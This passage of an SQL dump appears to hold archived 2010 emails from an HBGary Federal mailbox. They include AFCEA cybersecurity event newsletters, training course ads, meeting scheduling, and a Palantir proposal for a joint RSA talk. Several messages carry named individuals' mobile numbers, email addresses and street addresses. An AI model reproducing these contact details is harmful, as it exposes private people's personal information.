\r\n            \r\n              Agencies \r\n                IT Day Links\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              About \r\n                      Agencies IT Day\r\n                      Speakers \r\n                      &amp; Program\r\n                      Small \r\n                      Business Track\r\n                      Sponsorship\r\n                      Venue \r\n                      &amp; Directions\r\n                      Registration \r\n                      \r\n                    \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Diamond Sponsor\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n              \r\n            \r\n          \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Gold Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Small Business Silver Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n\r\n      \r\n        \r\n          \r\n            \r\n              Follow AFCEA NOVA on\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n          Key \r\n          Sponsorship Slots are\r\n          Still \r\n          Available!\r\n        \r\n        &nbsp;\r\n    \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',6644,'aaron_hbgary_com/6644.html'),(7771,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006006.M798845P14101Q2626.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Make contact...','Suite!\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Chappell, Scott C Mr CIV USA SMDC ARSTRAT\r\n\r\nDate: Thu, Jun 24, 2010 at 1:37 PM\r\nSubject: Make contact...\r\nTo: Ted Vera \r\n\r\n\r\nMake contact with Joe Maier (per below)... he\'s standing by for your\r\ncall.\r\n\r\n\r\n\r\nJoe Maier\r\n\r\n719.235.1898 - Mobile\r\n\r\n719.325.8445 - Work\r\n\r\nraymond.maier@baesystems.com\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2160,'aaron_hbgary_com/2160.html'),(7772,'2010-06-24','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297006007.M298495P14101Q2627.eml','aaron@hbgary.com','We recommend our sister Chapter\'s AFCEA DC Cybersecurity Symposium - USCYBERCOM\'s Role in Protecting .mil, .gov & .com - July 8, Hilton Washington','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        \r\n        \r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n           \r\n               \r\n                &nbsp;\r\n                2nd Annual AFCEA DC\r\n                    Cybersecurity Symposium\r\n                    USCYBERCOM\'s Role in Protecting \r\n                    .mil, .gov &amp; .com\r\n                  Thursday, July 8, 2010\r\n                    8am-5pm - Hilton Washington, Washington, \r\n                    DC\r\n                    www.afceadc.org/cyber \r\n                  \r\n                  Speakers &amp; Program\r\n                  \r\n                    Opening Keynote: VADM Carl V. Mauney, USN \r\n                      - Deputy Commander, U.S. Strategic Command (USSTRATCOM) \r\n                      (confirmed)\r\n                      \r\n                    \r\n                    Closing Keynote: Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator (confirmed)\r\n                      \r\n                    \r\n                    Reaction to Cyber Shockwave - Enter DoD &amp; \r\n                      USCYBERCOM\r\n                      Panel Block on .Mil to .Gov Relationships \r\n                      \r\n                      \r\n                      \r\n                        Mr. Bob Butler - Deputy Assistant \r\n                          Secretary of Defense for Cyber Policy, U.S. Department \r\n                          of Defense (DoD)  (confirmed)\r\n                          \r\n                          \r\n                        BG John Davis, USA - Deputy Director \r\n                          of Operations (J-33), U.S. Cyber Command (USCYBERCOM) \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        RDML Mike Brown - Deputy Assistant \r\n                          Secretary for Cyber Security &amp; Communications (CS&amp;C), \r\n                          U.S. Department of Homeland Security (DHS)  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Bruce Held - Director of Intelligence \r\n                          &amp; Counter Intelligence, U.S. Dept of Energy  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Ed Mueller - Chair, National \r\n                          Security Telecommunications Advisory Committee (NSTAC) \r\n                           (confirmed)\r\n                          \r\n                          \r\n                        Moderator: Gen. \r\n                          Ronald E. Keys (USAF, Ret) - former Commander, \r\n                          Air Combat Command (ACC), USAF, &amp; currently President, \r\n                          RK Solution Enterprises  (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Public Private Partnerships Framework\r\n                      Panel Block on .Mil/.Gov to .Com Relationships \r\n                      \r\n                      \r\n                      \r\n                        Ms. Anne Neuberger - Special Assistant \r\n                          to the Director for Enduring Security Framework Forum \r\n                          (Public Private Partnerships Framework), National Security \r\n                          Agency (NSA)/USCYBERCOM (confirmed)\r\n                          \r\n                          \r\n                        Mr. Riley Repko (Col, USAFR, Ret) \r\n                          - Senior Advisor, Cyber Operations &amp; Transformation, \r\n                          Deputy Chief of Staff for Air, Space &amp; Information \r\n                          Operations, Plans &amp; Requirements (A3/5), U.S. Air \r\n                          Force, detailed to the Office of the Asst SecDef for \r\n                          Cyber  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Ellen McCarthy - President, Intelligence \r\n                          and National Security Alliance (INSA)  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Guy Copeland - Chairman, Cross-Sector \r\n                          Cybersecurity Working Group (CSCSWG)  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Jenny Menna - Director, Critical \r\n                          Infrastructure Cyber Protection &amp; Awareness, U.S. \r\n                          Department of Homeland Security (DHS) (invited)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Luncheon Keynotes\r\n                      CYBERCOM &amp; DHS – Huntley-Brinkley style\r\n                      \r\n                       \r\n                      \r\n                        ADM James A. Winnefeld, Jr. - Commander, \r\n                          U.S. Northern Command (USNORTHCOM) (invited)\r\n                          \r\n                          \r\n                        Hon. Rand Beers - Undersecretary \r\n                          for National Protection &amp; Programs Directorate, \r\n                          U.S. Department of Homeland Security (DHS) (invited)\r\n                          \r\n                          \r\n                      \r\n                    \r\n                    Standing Up USCYBERCOM\r\n                      Panel Block on .Mil to .Mil Relationships\r\n                      \r\n                       \r\n                      \r\n                        Maj. Gen. Suzanne &quot;Zan&quot; Vautrinot \r\n                          - Director of Plans and Policy (J5), U.S. Cyber Command \r\n                          (USCYBERCOM)  (confirmed)\r\n                          \r\n                        \r\n                         LtGen George Flynn - Commander, \r\n                          Marine Corps Forces Cyberspace Command (MARFORCYBER) \r\n                           (confirmed)\r\n                          \r\n                          \r\n                        RADM Robert Day - Director, Cyber \r\n                          Command, U.S. Coast Guard  (confirmed)\r\n                          \r\n                          \r\n                        MG Rhett Hernandez - Currently Assistant \r\n                          Deputy Chief of Staff G-3/5/7\r\n                          Nominated for Commanding General, Army Forces \r\n                          Cyber Command (ARFORCYBER), U.S. Army (invited)\r\n                          \r\n                          \r\n                        Brig. Gen. Greg Brundidge - Director, \r\n                          Communications &amp; Information (J6) - European Command \r\n                          (USEUCOM)  (confirmed)\r\n                          \r\n                          \r\n                        Maj. Gen. Richard Webber - Commander, \r\n                          24th Air Force (invited)\r\n                          \r\n                        \r\n                         VADM Bernard McCullough III - Commander, \r\n                          U.S. Fleet Cyber Command/U.S. Tenth Fleet (invited)\r\n                          \r\n                      \r\n                    \r\n                  \r\n                  The 2nd Annual AFCEA DC Cybersecurity Symposium will focus \r\n                    on the newly confirmed U.S. Cyber Command, and its partners, \r\n                    its relationships, its dependencies, its policies, and its \r\n                    reach. CYBERCOM will need to interface with the five Military \r\n                    Services, the Unified Commands/COCOMs, DHS, other Civilian \r\n                    Agencies, Industry, and the list goes on. Conference attendees \r\n                    will be present as discussions of these interrelationships \r\n                    unfold and the framework for collaboration begins to emerge.\r\n                  Sign-Up \r\n                    to Sponsor the Cybersecurity Symposium\r\n                  Register \r\n                    to Attend the Cybersecurity Symposium\r\n                    \r\n                  For more Information Contact:\r\n                  \r\n                     \r\n                       AFCEA DC/CAPLEAD Staff, events@afceadc.org, tel: 202-701-5808 \r\n                      \r\n                    \r\n                  \r\n                  Key \r\n                    Sponsorship Slots still Available!\r\n                  &nbsp;\r\n                  \r\n                    \r\n                      Small Business Silver Sponsors: \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n              Conference Links: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              Event \r\n                    Home Page \r\n                  Speakers \r\n                    &amp; Program\r\n                  Sponsorships\r\n                                  Individual\r\n                  Registration\r\nVenue\r\n                  &nbsp;\r\n                \r\n            \r\n          \r\n            \r\n            \r\n              \r\n                Diamond Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Premiere Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n  \r\n  \r\n    \r\n    \r\n  \r\n  \r\n    \r\n      \r\n  \r\n  \r\n  \r\n  \r\n  \r\n    &nbsp;\r\n  \r\n  \r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Platinum Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Gold Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n          \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA NOVA Management by an amazing team of Volunteers, \r\n              supported by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',9352,'aaron_hbgary_com/9352.html'),(7773,'2010-06-24','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006007.M779469P14101Q2628.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','',13235,'aaron_hbgary_com/13235.html'),(7774,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006014.M21543P14101Q2629.eml','raymond.maier@baesystems.com','HBGary / Scott Chappell','Hi Joe,\r\n\r\nI was asked to contact you by Scott Chappell regarding some Cyber\r\nsupport.  My contact information is below, and attached are several\r\nHBGary whitepapers you may find interesting.\r\n\r\nRegards,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\nted@hbgary.com\r\nhttp://www.hbgary.com\r\n',4881,'aaron_hbgary_com/4881.html'),(7775,'2010-06-24','\"Paul Hadjy\" <phadjy@palantir.com>','/aaron@hbgary.com/new/1297006014.M962837P14101Q2630.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: FW: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',16101,'aaron_hbgary_com/16101.html'),(7776,'2010-06-24','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006015.M540992P14101Q2631.eml','aaron@hbgary.com','Breaking the Code: Secure Business with the Government','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\n		  906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\n		  907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\n		  This course delivers practical examples of how public market research tools and other research resources can increase success and lower costs of government business development. The course poses research problems, demonstrates the use of research tools, features active discussion, and offers the opportunity to research sample questions in small groups. It also includes a candid exchange among participants of their experiences with vendors of market research consulting services. Attendees will gain a solid understanding of how government business opportunities are uncovered and will get take-home exercises to develop skills after the class is done.\r\n		  Lunch will be provided from 12:30 - 2:30 - the class will be joined by professionals who have been successful in marketing to government in the intelligence community.\r\n		  906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\nThis course covers the challenges small business teams and prime contractors are likely to encounter in winning\r\n  government business, using active discussion, case studies, and group exercises. Business strategy, targeting, and\r\n  relationship development are the foundation of this course, with an emphasis on free public sources of information.\r\n**********Tuition rates increase June 30, 2010***********\r\nOther courses offered in July - August:\r\n 386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n382 (ISC)2 DoD CAP - Certification and Accreditation Professional; July 27-29.\r\n 388 NEW! Advanced Cyber Network Defense Training; July 27-30. \r\n381 CompTIA Security+ (2008) Edition Certification Course; Aug. 2-5. EXAM on Aug. 6.\r\nThere is a separate registration and tuition for the exam.&nbsp; See attached link:&nbsp;\r\nComp TIA Security+ EXAM Registration\r\n701 Introduction to Electromagnetic Compatibility; Aug 23, Herndon, VA \r\n705 Shielded Enclosures; Aug 24, Herndon VA. \r\n706 Shielding Effectiveness Testing;&nbsp; Aug 25-26, Herndon VA.\r\n707 Construction of Electromagnetically Shielded Enclosures; Aug 27, Herndon VA.\r\nStevens Institute of Technology: \r\nStevens has designed the Applied Program Management Graduate Certificate which will allow attendees to develop the necessary skills for success in their mission critical roles.&nbsp; AFCEA members are eligible to receive a 5% tuition discount on this customized certificate.\r\n\r\n  \r\n    SSW 540 - Fundamentals of Software Engineering July 15-17 and August 13-14, 2010\r\n      \r\n  \r\n  \r\n    This course introduces the subject of software engineering, also known as software development process or software development best practice from a quantitative, i.e., analytic- and metrics-based point of view. Topics include introductions to: software life-cycle process models from the heaviest weight, used on very large projects, to the lightest weight, e.g., extreme programming; industry-standard software engineering tools; teamwork; project planning and management; object-oriented analysis and design. The course is case history and project oriented.\r\n  \r\n  \r\n    Click here to download the course syllabus.\r\n  \r\n\r\n&nbsp;\r\nLOCATION:\r\n  Ronald Reagan Building &amp; International Trade Center\r\n1300 Pennsylvania Ave NW\r\nSuite G - 17\r\nWashington, DC&nbsp; 20004\r\n202-567-6380\r\nFor additional information &ndash; Please contact&nbsp; the Student and Faculty Care Center at:\r\nPhone: &nbsp;(877) 376-9534 \r\nEmail: sfcc@stevens.edu  \r\n&nbsp;\r\nAll Course will be held in Fairfax, VA, unless otherwise noted.\r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland (703) 631-6137.\r\n    \r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',15999,'aaron_hbgary_com/15999.html'),(7777,'2010-06-24','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006015.M837337P14101Q2632.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','RSA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPalantir and HBGary (and maybe SecDev) tag team\r\nan RSA speakers submission (due July 9 btw) entitled something like, &#8220;Cyber\r\nIS an Intelligence Problem, NOT an IT Problem: Redefining the Problem Set&#8221;\r\n(horrible title I know)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe goal here would be to take a technical\r\nproblem (maybe one of Greg&#8217;s or SecDev&#8217;s pet projects), present the\r\ntechnical findings in Part I of the prezo, then flip gears in Part II to\r\npresent it as an Intelligence problem (using Palantir for the presentation)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe need to be careful to remove all marketing\r\nlanguage from the submission as they apparently don&#8217;t take kindly to that\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe obviously have a ton of time to do the work\r\nwhich could be split between all of us (we could even set up a hosted Palantir\r\ninstance to do the research a la Project Grey Goose)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe would want to play up our Intel community bona\r\nfides and your technical prowess/name brand\r\n\r\n&nbsp;\r\n\r\nMy 4 colleagues CCed and myself are basically all of\r\nPalantir&#8217;s &#8220;Cyber Team&#8221;.&nbsp; I&#8217;ll now open this\r\nthread up for comments.&nbsp; If HBGary is in we can set up a quick\r\nbrainstorming session.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14429,'aaron_hbgary_com/14429.html'),(7778,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006016.M375288P14101Q2634.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary website items','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Thu, Jun 24, 2010 at 2:59 PM\r\nSubject: Re: HBGary website items\r\nTo: Greg Hoglund \r\nCc: Mark Trynor \r\n\r\n\r\nGreg,\r\n\r\nMark mentioned that you had a long list of things you\'d like done to\r\nthe site, but had him start on the 3 items below.  He knocked those\r\nout, do you want to revisit the other items you want done?\r\n\r\nTed\r\n\r\nOn Wed, Jun 23, 2010 at 2:27 PM, Greg Hoglund  wrote:\r\n>\r\n> 1) remove MJ\'s blog and picture\r\n> 2) add active defense product page under PRODUCTS\r\n> 3) add link to FEDERAL on top bar\r\n>\r\n> -G\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14720,'aaron_hbgary_com/14720.html'),(7779,'2010-06-24','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297006016.M662316P14101Q2635.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','I have random house at 4pm but can move any other meeting I have that day.\r\nWhat time should I be there and where is the location.  I look forward to\r\nthe meeting.\r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 24, 2010 1:39 PM\r\nTo: Scott Suhy\r\nSubject: Re: Meeting\r\n\r\nHow does wednesday work?\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 23, 2010, at 4:39 PM, Scott Suhy  wrote:\r\n\r\n> Yes, what day?\r\n>\r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n> skype:scott.suhy\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 2:49 PM\r\n> To: Scott Suhy\r\n> Subject: Meeting\r\n>\r\n> Hi Scott,\r\n>\r\n> Do you have some time to meet with the Prime next week for the opportunity\r\nI\r\n> was discussing.  The meeting would be in Chantilly.  We would like to\r\nbring\r\n> PointAbout on the team.  As I mentioned its a $35-60M multi-year new media\r\n> development effort.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date: 06/23/10\r\n> 02:36:00\r\n>\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date: 06/24/10\r\n02:35:00\r\n\r\n',5733,'aaron_hbgary_com/5733.html'),(7780,'2010-06-24','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006016.M80949P14101Q2633.eml','\"Aaron Barr\" <aaron@hbgary.com>','New opening','\r\n\r\n\r\n\r\n\r\nNew opening\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWe discussed an open Web Designer position in our last meeting.&nbsp; The req number for that is 111951.&nbsp; The career site is www.tasc.com and click on the Careers menu button.&nbsp; That position is ideal for some of the folks we talked about.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',10081,'aaron_hbgary_com/10081.html'),(7781,'2010-06-24','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297006017.M541376P14101Q2637.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','Even better.  Send me anything you have to prep.\r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 24, 2010 5:37 PM\r\nTo: Scott Suhy\r\nSubject: Re: Meeting\r\n\r\nSlight change.  Can we meet at your place at 1pm?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 24, 2010, at 5:24 PM, Scott Suhy \r\nwrote:\r\n\r\n> I have random house at 4pm but can move any other meeting I have\r\n> that day.\r\n> What time should I be there and where is the location.  I look\r\n> forward to\r\n> the meeting.\r\n>\r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n> skype:scott.suhy\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, June 24, 2010 1:39 PM\r\n> To: Scott Suhy\r\n> Subject: Re: Meeting\r\n>\r\n> How does wednesday work?\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 23, 2010, at 4:39 PM, Scott Suhy \r\n> wrote:\r\n>\r\n>> Yes, what day?\r\n>>\r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n>> skype:scott.suhy\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 23, 2010 2:49 PM\r\n>> To: Scott Suhy\r\n>> Subject: Meeting\r\n>>\r\n>> Hi Scott,\r\n>>\r\n>> Do you have some time to meet with the Prime next week for the\r\n>> opportunity\r\n> I\r\n>> was discussing.  The meeting would be in Chantilly.  We would like to\r\n> bring\r\n>> PointAbout on the team.  As I mentioned its a $35-60M multi-year\r\n>> new media\r\n>> development effort.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com\r\n>> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n>> 06/23/10\r\n>> 02:36:00\r\n>>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n> 06/24/10\r\n> 02:35:00\r\n>\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date: 06/24/10\r\n14:35:00\r\n\r\n',6293,'aaron_hbgary_com/6293.html'),(7782,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006017.M85228P14101Q2636.eml','\"Scott Suhy\" <Scott.Suhy@pointabout.com>','Re: Meeting','Slight change.  Can we meet at your place at 1pm?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 24, 2010, at 5:24 PM, Scott Suhy \r\nwrote:\r\n\r\n> I have random house at 4pm but can move any other meeting I have\r\n> that day.\r\n> What time should I be there and where is the location.  I look\r\n> forward to\r\n> the meeting.\r\n>\r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 